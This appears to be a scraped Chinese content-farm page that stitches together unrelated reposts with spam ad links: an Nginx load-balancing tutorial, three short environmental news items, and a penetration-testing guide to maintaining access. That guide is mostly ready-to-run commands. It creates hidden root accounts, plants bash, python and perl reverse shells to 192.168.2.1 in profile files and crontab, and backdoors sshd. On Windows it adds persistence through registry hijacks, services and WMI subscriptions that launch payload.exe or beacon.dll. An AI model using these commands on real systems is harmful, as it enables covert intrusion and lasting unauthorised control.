網頁設計最專業,超強功能平台可客製化

※產品缺大量曝光嗎?你需要的是一流包裝設計!

分類
發燒車訊

【從單體架構到分佈式架構】(三)請求增多,單點變集群(2):Nginx

上一個章節,我們學習了負載均衡的理論知識,那麼是不是把應用部署多套,前面掛一個負載均衡的軟件或硬件就可以應對高併發了?其實還有很多問題需要考慮。比如:

1. 當一台服務器掛掉,請求如何轉發到其他正常的服務器上?
2. 掛掉的服務器,怎麼才能不再訪問?
3. 如何保證負載均衡的高可用性?

等等等等...

讓我們帶着這些問題,實戰學習一下 Nginx 的配置和使用。

1. 前置概念

在正式介紹 Nginx 之前,首先讓我們先了解一下概念。

1. 中間件

干 IT 太累了,我準備辭職開了個燒烤攤,賣羊肉串;

賣羊肉串首先就得有羊肉,於是我就聯繫了很多養殖場,我又是一個比較負責任的人,為了保證羊肉的質量,我就去考察了一家又一家養殖場,同時我也是個“小氣”的人,所以我考察過程中,和對方談判、比價,最終選了一個養殖場作為我的羊肉供應商,為我提供羊肉。

經營了一陣子,這個養殖場提供的羊肉質量沒有以前好了,那麼我就重新考察、談判、比價,如此反覆,我投入了大量的時間和精力。

於是我找到了一個信得過的代理公司,約定要羊肉的質量和數量,談好價錢,以後我只找代理商拿貨,具體代理商找的哪家養殖場我不去過問,甚至代理商可以送貨上門。

在這個例子裏面,賣燒烤就是業務,我的燒烤攤是業務端,養殖場是底層,而 這個信得過的代理公司,就是中間件。

2. 正向代理和反向代理

正向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我就派我的管家回老家考察;管家就是正向代理服務器;正向代理服務器代表了客戶端,在正向代理的過程中,服務端只和代理服務器打交道(房東只和我的管家談),並不知道真正的客戶端是誰。

反向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我打個電話聯繫了老家的房屋中介去辦這件事兒;房屋中介就是反向代理;這裏的反向代理,代表的是房東,在反向代理的過程中,客戶端只和反向代理服務器打交道,並不知道真正的服務端是誰。

當然,我的管家也可以聯繫我老家的房屋中介,那麼架構圖就會變成:

2. Nginx 的概念

了解完上面的幾個概念,那麼 Nginx 的概念理解起來就簡單很多了:

Nginx 就是一個開源的、高性能的、可靠的 Http 中間件; 它經常被用作 Http 代理、反向代理、負載均衡等等,當然它也能做正向代理,但是實際很少有這麼用的。

3. 最簡單的 Nginx 使用示例

本章節項目的代碼:chapter3

Step 1. 部署多套環境

我們將章節 1 中的項目 chapter1 複製出來一份,改名為 chapter3,表示是第 3 章節的項目,同時修改:

1. pom.xml 中的 artifactId 修改為 chapter3
2. application.yml 中的 server.port 修改成 8089

這樣我們分別啟動 chapter1 和 chapter3,這樣就相當於把相同的項目部署了兩套,端口分別是 8088 和 8089 。

Step 2. 下載 Nginx

我們可以在 Nginx 的官網 下載我們所需的版本,因為我使用 windows 環境開發,所以我在這裏就選擇了 nginx/Windows-1.14.2 這個版本。

下載完成解壓縮,不需要額外的安裝,可以直接使用。

Step 3. 配置 Nginx

進入 nginx-1.14.2\conf 目錄下,用文本編輯器打開 nginx.conf,對配置文件進行如下修改:

1. 在 http 中增加 upstream,並配置兩台環境的地址;
2. 在 http.server.location 中增加 proxy_pass 的配置;

http {
    ...

    #增加 upstream 的配置,其中 myserver 是自己起的名字
    upstream myserver{
	     server 127.0.0.1:8088;  #有幾套環境,就配置幾條
	     server 127.0.0.1:8089;
    }

    server {
        listen       80;
        server_name  localhost;

        #charset koi8-r;

        #access_log  logs/host.access.log  main;

        location / {
            root   html;
            index  index.html index.htm;
            proxy_pass  http://myserver; #增加,其中 http://myserver 的 myserver 要和上文對應
        }

      }
    }
    ...
}

完整配置文件請參考:nginx.conf

Step 4. 啟動 Nginx

我們可以直接雙擊 nginx-1.14.2 目錄下的 nginx.exe 啟動;也可以通過 cmd 命令打開控制台,進入 nginx-1.14.2 目錄執行如下命令啟動 Nginx:

start nginx //啟動 Nginx ;啟動后可能一閃而過,我們可以看一下任務管理器是否有名字叫做 nginx.exe 的進程

nginx.exe -s stop //停止 Nginx
nginx.exe -s quit //停止 Nginx

Step 5. 測試 Nginx

讓我們測試一下 Nginx 是否配置並啟動成功,打開瀏覽器輸入:

http://127.0.0.1/queryAdmin

注意這裏並沒有加端口號,是因為 url 中沒有端口號的時候表示端口號為 80,而我們 Nginx 的配置文件中,監聽的正是 80 端口 (listen 80);我們可以在瀏覽器中看到服務返回的結果:

User : Admin

這就說明 Nginx 已經轉發了我們的請求到了服務端,並正確返回,那麼負載均衡是如何體現的呢?讓我們多刷新幾次瀏覽器,然後看看後台日誌:

我前後一共調用了 5 次服務,可以看到兩個服務端分別接收到了 2 次和 3 次請求,負載均衡達到了效果。

4. Nginx 常見的路由策略

1. 輪詢法

最簡單的輪詢法,多餘的配置不需要增加。

upstream myserver{
   server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
   server 127.0.0.1:8089;
}

2. 源地址哈希法

使用 ip_hash 關鍵字,每一個請求,都按 hash(IP) 的結果決定訪問哪台服務器;

upstream myserver{
   ip_hash; # hash(IP)
   server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
   server 127.0.0.1:8089;
}

如果我們本地測試,多次訪問接口,可以發現請求永遠落到同一個服務上,因為本地 IP 一直沒有改變。

3. 加權輪詢法

使用 weight 關鍵字,設置每台服務器的權重;

upstream myserver{
   server 127.0.0.1:8088 weight=1;  # 20% 請求會發給8088
   server 127.0.0.1:8089 weight=4;
}

4. 最小連接數法

根據每個服務器節點的連接數,動態地選擇當前連接數最少的服務器轉發請求;

upstream myserver{
   least_conn;
   server 127.0.0.1:8088;
   server 127.0.0.1:8089;
}

5. 最快響應速度法

根據每個服務器節點的響應時間(請求的往返延遲),動態地選擇當前響應速度最快的服務器轉發請求;需要額外安裝 nginx-upstream-fair 模塊。

upstream myserver{
   fair; # 額外安裝 nginx-upstream-fair 模塊
   server 127.0.0.1:8088;
   server 127.0.0.1:8089;
}

6. URL 哈希算法

對 URL 進行 Hash 運算,根據結果來分配請求,這樣每個 URL 都可以訪問到同一個服務端;當服務端有緩存的時候,比較有效。

upstream myserver{
   hash $request_uri;
   server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
   server 127.0.0.1:8089;
}

也可以安裝第三方模塊,比如我們要使用 URL 一致性哈希算法,那麼我們可以安裝 ngx_http_upstream_consistent_hash 模塊。

upstream myserver{
   consistent_hash $request_uri;
   server 127.0.0.1:8088;
   server 127.0.0.1:8089;
}

參考資料:Upstream Consistent Hash

5. Nginx 常用功能

5.1 請求失敗重試

當一台服務器掛掉,請求如何轉發到其他正常的服務器上?

我們可以先做個試驗,就是關閉 8089 端口的服務,只保留 8088 端口的服務,然後調用幾次接口,如果其中一次調用長時間不返回(瀏覽器訪問狀態圖標一直在打轉),表示本次請求發送到了 8089 端口,那麼讓我們等待一段時間…大約一分鐘之後,8080 端口服務的後台日誌,打印出來日誌,調用端接收到了返回,這說明:

  1. Nginx 默認有失敗重試機制;
  2. 默認的超時時間為 60s 。

這裏的超時時間是可以修改的,需要在 http.server.location 中增加如下配置:

location / {
            root   html;
            index  index.html index.htm;
            proxy_pass  http://myserver;
            proxy_connect_timeout 5; # 連接超時時間
            proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
            proxy_read_timeout 5; # 後端服務器的相應時間
            #proxy_next_upstream off; # 是否要關閉重試機制
        }

完整配置文件請參考:設置超時重試時間5秒-nginx.conf

不過這裏要注意一點,如果設置了服務器相應超時時間(比如設置了 10s ),萬一應用的業務處理時間比較慢(業務處理花費了 15s ),那麼會導致 Nginx 超時重試,那麼可能會造成重複處理。

5.2 後端服務器節點健康狀態檢查

如果掛掉一台服務器,路由到這台服務器請求每次都要等到超時時間過去,才能發起重試,如果 Nginx 不再把請求發送給掛掉的服務器,那就省事多了;

這就叫做“後端服務器節點健康狀態檢查”。

如果不安裝第三方模塊,可以做如下配置完成“後端服務器節點健康狀態檢查”:

1. 設置超時時間:

location / {
            root   html;
            index  index.html index.htm;
            proxy_pass  http://myserver;
            proxy_connect_timeout 5; # 連接超時時間
            proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
            proxy_read_timeout 5; # 後端服務器的相應時間
            #proxy_next_upstream off; # 是否要關閉重試機制
        }

2. 設置嘗試重試的次數:

upstream myserver{
  	server 127.0.0.1:8088 max_fails=1 fail_timeout=100s;
  	server 127.0.0.1:8089 max_fails=1 fail_timeout=100s;
}

其中 max_fails 表示最多失敗次數,fail_timeout 表示在一個時間段內,服務器不會再次嘗試訪問;上面的配置表示在 100s 內,只要超時失敗 1 次,就不再訪問該服務器。

完整配置文件請參考:設置超時重試時間5s-失敗1次100秒之內不再訪問-nginx.conf

除此之外,我們還可以安裝第三方模塊來實現“後端服務器節點健康狀態檢查”:

  • nginx_upstream_check_module
  • ngx_http_healthcheck_module

5.3 Nginx 的高可用

以為使用 Nginx ,部署了多台應用服務器,可以保證應用服務器的高可用(掛掉一台,還有其他服務器可以用);

但是如何保證負載均衡的高可用性?也就是萬一 Nginx 掛了怎麼辦?

Nginx 同樣也需要部署多台,架構大概是這個樣子的:

現在應用比較廣泛的是利用 keepalived 實現 Nignx 的高可用:

5.4 其他

除了以上的常見功能,強大的 Nginx 還可以:

  1. 限制 IP 訪問頻率和帶寬佔用;
  2. 緩存靜態資源;
  3. 文件壓縮;
  4. TCP 負載;
  5. 防盜鏈;
  6. 等等等等…

總結

我們現在的架構已經變成了:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

分類
發燒車訊

滲透測試-權限維持

linux權限維持

添加賬號

一般在具有root權限時可以使用以下2種方式添加root權限用戶

1.通過useradd,後面賬號backdoor/123456

useradd -u 0 -o -g root -G root backdoor

echo 123456:password|chpasswd

2.通過直接對etc/passwd文件進行寫入

perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的結果

# 123456加密后的結果為AASwmzPNx.3sg

echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd	#直接寫入etc/passwd中

清理以上痕迹

userdel -f backdoor

設置sid位的文件

在具有高權限時,將高權限的bash文件拷貝隱藏起來,設置其suid位,則可後面通過低權限用戶獲取高權限操作

在高權限時

cp /bin/bash /tmp/.bash

chmod 4755 /tmp/.bash  #設置suid

使用時帶上-p參數

/tmp/.bash -p

清理痕迹

rm -rf /tmp/.bash

通過環境變量植入後門

以下是環境變量的位置

/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc

寫入shell反彈語句

echo 'bash -i >& /dev/tcp/192.168.2.1/7777 0>&1' >> /etc/profile

這樣在重啟的時候就會彈shell過來了,會根據登的哪個賬號彈哪個賬號的shell

以下文件需要高權限,為全局變量

/etc/profile
/etc/profile.d/*.sh
/etc/bashrc
/etc/bash.bashrc

以下為當前用戶的環境變量

~/.bash_profile		#實驗過程中沒有反應
~/.profile				#登錄後會接收shell,但是加載桌面時會卡住
~/.bashrc					#打開shell窗口時會接收shell,但正常的shell窗口會卡住
~/bash_logout			#實驗過程中沒有反應

清理痕迹

刪除配置文件中添加的代碼即可

寫入ssh公鑰

首先在本地生成ssh公鑰和私鑰

在自己的~/.ssh/目錄下執行

ssh-keygen -t rsa

會生成以下三個文件,id_rsa.pub為公鑰,id_rsa為私鑰

id_rsa      id_rsa.pub  known_hosts

xxx為公鑰內容,也就是id_rsa.pub的內容

echo "xxx" >> ~/.ssh/authorized_keys

清理痕迹

刪除目標上的 ~/.ssh/authorized_keys即可

ssh任意密碼登錄

在root用戶時,suchfnchsh命令不需要輸入密碼認證

通過軟連接將ssh的服務進行cp,並重命名為以上命令

ln -sf /usr/sbin/sshd /tmp/su				#將sshd做軟連接,軟連接文件名為su或chfn或chsh
/tmp/su -oPort=12345								#通過軟連接的文件,開啟ssh連接-oPort指定開啟端口

連接

ssh root@host -p 12345

#密碼隨便輸入即可登錄,並且可登錄任意賬號

清理方式

netstat -antp | gerp -E "su|chfn|chsh"
#找到進程號xxx
ps aux | grep xxx
#找到軟連接位置/aaa/bbb/su
kill xxx
rm -rf /aaa/bbb/su

修改sshd文件做到無認證登錄

建立連接時ssh服務器端使用的是sshd文件來管理接收到的連接,此時對sshd文件內容進行修改,則能做到無認證登錄

將原先的sshd文件進行轉義

mv /usr/sbin/sshd /usr/bin/sshd

開始使用perl進行寫腳本

echo '#!/usr/bin/perl' > /usr/sbin/sshd
echo 'exec "/bin/bash -i" if (getpeername(STDIN) =~ /^..LF/);' >> /usr/sbin/sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >> /usr/sbin/sshd

其實整個腳本在第二行執行了個if,如果端口符合要求,則直接建立連接,否則正常執行sshd

其中的LF代表開啟的端口號是19526

python2
>> import struct
>> print struct.pack('>I6',19526) 
#輸出的內容為 LF

賦予新文件權限並重啟sshd

chmod u+x sshd
service sshd restart

連接方式

socat STDIO TCP4:172.16.177.178:22,bind=:19526

清除痕迹

#刪除自定義的sshd
rm -rf /usr/sbin/sshd
#將同版本的sshd拷貝到對應目錄下
mv /usr/bin/sshd /usr/sbin/sshd

利用vim可執行python腳本預留後門

先準備個python的反彈shell腳本

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

找到提供vim插件的python的擴展包目錄

vim --version  #查看使用的python版本

找到python的擴展位置

pip show requests

進入目錄

cd /usr/lib/python2.7/site-packages

將內容寫入

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > dir.py

運行,並刪除文件

$(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

清除痕迹

ps aux|grep vim
#獲取pid
kill pid

計劃任務

因為計劃任務使用的是/bin/sh,所以傳統的直接通過bash反彈shell是行不通的

這裏藉助python,或者perl都可

使用python

echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -

使用perl

echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.2.1\";\$p=7778;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -

清除痕迹

如果通過crontab -e 不知道為啥會頂掉上一個

crontab -l			#只看得到一個
crontab -r			#刪除所有計劃任務

動態加載庫

使用export LD_PRELOAD=./xx.so

這時候./xx.so中如果對函數進行了重定義,調用了該函數的程序就會執行重定義的代碼

這裏使用以下項目

https://github.com/Screetsec/Vegile

準備2個文件

  • msf的木馬
  • Veglie項目

使用方法將MSF木馬Vegile上傳到目標服務器上,把項目目錄弄成http服務

python -m SimpleHTTP

目標服務器上

wget http://xxx.xxx.xx.xxx:8000/Vegile.zip
wget http://xxx.xxx.xx.xxx:8000/shell

解壓后運行

unzip Vegile.zip
chmod 777 Vegile shell
./Vegile --u shell

清理痕迹

清理起來十分麻煩,因為直接刪除進程是刪不掉的,因此存在父進程與多個子進程

清理思路掛起父進程,清除所有子進程再刪除父進程

windows權限維持

比較常見的windows提取

ms14_058 內核模式驅動程序中的漏洞可能允許遠程執行代碼
ms16_016 WebDAV本地提權漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提權漏漏洞

計劃任務

拿到shell后先修改編碼

chcp 65001

設置計劃任務,每分鐘調用運行一次shell

schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00

清理痕迹

控制面板->管理工具->任務計劃程序->找到惡意計劃任務
在 操作 中找到調用的腳本,進行文件刪除
刪除惡意計劃任務

映像劫持

在程序運行前會去讀自己是否設置了debug,需要對劫持的程序有權限

以下通過註冊表對setch.exe設置了debug為cmd.exe程序,也就是按5下shift會彈出cmd的框

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f

清理痕迹

HKLM是HKEY_LOCAL_MACHINE

找到目標的註冊表,將debug內容刪除

環境變量

用戶登陸時會去加載環境變量,通過設置環境變量UserInitMprLogonScript值,實現登陸時自動運行腳本

reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Downloads\1.bat" /f

清理痕迹

直接找到 開始->用戶頭像->更改我的環境變量

進程退出劫持

在註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit下控製程序的退出時執行的動作,但有時候權限很迷

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”

清理痕迹

找到目標的註冊表刪除即可

AppInit_DLLs注入

User32.dll 被加載到進程時,設置其註冊表的中能設置加載其他的dll文件,則可使其加載惡意的腳本

對HKML註冊表的內容進行修改一般都要system權限

Windows 10

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f

其他

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0x0 /f

這樣在打開cmd或者計算器這種能調用User32.dll動態鏈接庫的時候就會觸發

清理痕迹

到對應註冊表的位置刪除Appinit_Dlls的值

bits文件傳輸

通過bitsadmin從網絡上下載的時候可以額外執行腳本

bitsadmin /create test

隨意下載
bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1 

執行的命令
bitsadmin /SetNotifyCmdLine test "C:\windows\system32\cmd.exe" "cmd.exe /c c:\users\public\downloads\payload.exe" 

啟動任務
bitsadmin /resume test

每次開機的時候會觸發

清理痕迹

bitsadmin /reset

COM組件劫持

將腳本放入com組件中

reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /t REG_SZ /d "c:\users\public\downloads\beacon.dll" /f

reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f

清理痕迹

刪除註冊表中的路徑值,並通過路徑刪除木馬文件

替換cmd.exe

將sethc.exe(按shift 5下)替換成cmd.exe

takeown /f sethc.* /a /r /d y
cacls sethc.exe /T /E /G administrators:F
copy /y cmd.exe sethc.exe

清理痕迹

找個原版的setch.exe 覆蓋回去

Winlogon劫持

winlogon是windows登錄賬戶時會執行的程序,這裏將其註冊表中寫入木馬運行的dll路徑

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t REG_SZ /d "explorer.exe, rundll32.exe \"c:\users\public\downloads\beacon.dll\" StartW" /f

清理痕迹

刪除註冊表的shell中的值,並且找到後門文件刪除掉

組策略

需要能遠程登錄到桌面

輸入gpedit.msc打開組策略,需要管理員賬號

在用戶與計算機中的windows設置中均可以對腳本進行編輯,用戶策略是用戶權限,計算機策略是system權限

清理痕迹

打開組策略找到腳本,刪除即可

修改計算器啟動服務調用的程序

啟動服務有些需要手動啟動,比如IEEtwCollectorService 服務,這裏做後面的思路是,該服務本身對計算機運行沒有影響,因此將其手動啟動改成自動啟動,並將其運行的腳本改成木馬後門

類比一下windows10 沒有IEEtwCollectorService 服務可以選擇COMSysApp服務

篡改運行腳本
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v ImagePath /t REG_EXPAND_SZ /d "c:\users\public\downloads\beacon.exe" /f

設置自動啟動
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v Start /t REG_DWORD /d 2 /f 

啟動服務
sc start IEEtwCollectorService 

返回的是system權限

清理痕迹

將篡改的註冊表改回來,並且刪除目標木馬

MSDTC 服務

MSDTC 服務默認會加載一個在windowss/system32下的不存在的 oci.dll,思路是將cs.dll 改名為oci.dll,放到system32下即可,該方法需要管理員用戶權限

清理痕迹

刪除的時候因為被多個進程調用,因此刪不掉,這裏可以換個思路修改其名稱,重啟再刪除

啟動項

啟動項是會去指定文件夾下運行文件夾下的所有服務,這個文件夾是

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

也會運行以下註冊表中的腳本

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

需要高權限
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

清理痕迹

刪除文件夾下的木馬或者刪除註冊表中添加的惡意木馬註冊表,並找到木馬位置刪除

cmd 啟動劫持

在cmd啟動時回去註冊表中查看是否有AutoRun的健值,如果有則會運行其中的腳本

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

清理痕迹

在管理員權限下刪除註冊表的值即可

wmic事件

註冊一個事件過濾器,該過濾器是開機 2 分鐘到 2 分半鍾,由於是永久 WMI 事 件訂閱,故需要管理員權限,最終獲取到權限也是 system 權限
wmic 
/NAMESPACE:"\\root\subscription"PATH__EventFilterCREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150" 


註冊一個事件消費者,這裏寫入了要執行的命令,是用 rundll32 啟動 cs 的 dll
wmic /NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumer CREATE Name="TestConsumer2",ExecutablePath="C:\Windows\System32\cmd.exe",CommandLineTemplate=" /c rundll32 c:\users\public\downloads\beacon.dll #5" 

綁定事件 過濾器和事件消費者
wmic /NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATE Filter="__EventFilter.Name=\"TestEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"TestConsumer2\""

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

分類
發燒車訊

露營亂丟垃圾 泰國政府出奇招:打包好寄回給遊客!

摘錄自2020年9月17日ETtoday報導

一群旅客在泰國考艾國家公園(Khao Yai National Park)露營後,沒有將垃圾妥善處理,反而將它們全都留在營地四周,為其他露營者造成困擾,也破壞環境生態。自然資源與環境部長沃拉兀(Varawut Silpa-archa)想出了新辦法,將這些垃圾寄還原主人,並依《國家公園法》提出訴訟。

據《Thai PBS World》報導,沃拉兀這週以來在他的臉書粉專發文,警告在公園露營的遊客在離開營地前,一定要將自己的垃圾清理乾淨。他指出,若旅客未將垃圾妥善處理,管理員將把它們都收集起來,郵寄給原主人。

沃拉兀提醒,隨意丟棄垃圾將導致野生動物在無意間吃下塑膠袋而死,不止弄髒公園,還破壞環境生態,是極度不可取的。他表示,這些亂丟垃圾的旅客將因違反泰國的《國家公園法》而面對長達5年監禁和高達50萬泰銖(約新台幣40萬元)的罰款,而違反公園規則者將被罰款10萬泰銖(約新台幣9萬元)。

污染治理
國際新聞
泰國
露營
亂丟垃圾

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※別再煩惱如何寫文案,掌握八大原則!

※產品缺大量曝光嗎?你需要的是一流包裝設計!

分類
發燒車訊

加州野火空氣品質不佳 專家:恐增染疫機會

摘錄自2020年09月19日中央通訊社美國報導

美國疫情未退,加州又陷野火災情,空氣品質不佳,美國疾病管制暨預防中心(CDC)專家今天(19日)警告,煙塵可能刺激肺部,造成發炎,削弱免疫系統,使人更易感染新型冠狀病毒。

媒體報導,煙塵的覆蓋範圍大,加州不少醫院的急診或門診,氣喘患者增加。醫生擔心,2019冠狀病毒疾病(COVID-19,武漢肺炎)加上即將到來的流感季節,還有野火煙塵產生的呼吸疾病患者,會占用一定程度的醫療資源。

一名肺部專科醫生說,即使短時間暴露在煙霧中,也會降低人體對抗感染的能力。過去幾週隨著野火災情擴大,因呼吸問題就醫的患者大量增加。煙霧當中的微粒會使人體內的呼吸道黏膜變乾、發炎,使身體難以抵抗傳染來源。野火讓空氣變乾,體內呼吸道的黏液減少,呼吸道與黏膜會發炎、腫脹,對任何外來的病原更沒有抵抗力。

污染治理
國際新聞
加州
美國
野火
武漢肺炎
空氣污染

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※產品缺大量曝光嗎?你需要的是一流包裝設計!

分類
發燒車訊

美國再現罕見蚊類媒介致死傳染病 衛生當局呼籲:夜間勿出門

摘錄自2020年09月19日蘋果日報美國報導

新冠肺炎(武漢肺炎)疫情未見趨緩,美國部分地區又傳出現罕見的蚊媒傳染病,且已造成數人死亡。《CNN》報導,密西根州衛生與公共服務部(MDHHS)15日宣布,該州西南部又確認4起民眾感染「東部馬腦炎」(EEE,Eastern Equine Encephalitis)病例,其中2人已經死亡,目前密西根州已有7明確診案例,其中3人死亡。

東部馬腦炎是一種以蚊子作為媒介的人畜共通傳染病,雖然罕見,但卻可能致死。CDC去年接獲的通報病例與死亡人數就已出現了不尋常的增加,達到38例。

密西根州10個郡的22匹馬,也被驗出感染了EEE,是去年此時通報動物感染數量的兩倍,當局正在多個高風險地區礤取空中行動滅蚊,以降低傳播病毒媒介的蚊子數量。

 

生物多樣性
國際新聞
蚊子
CDC
人畜共通傳染病

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化

※產品缺大量曝光嗎?你需要的是一流包裝設計!

分類
發燒車訊

英國石油轉型能源公司 11億美元投資離岸風電

環境資訊中心綜合外電;姜唯 編譯;林大利 審校

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!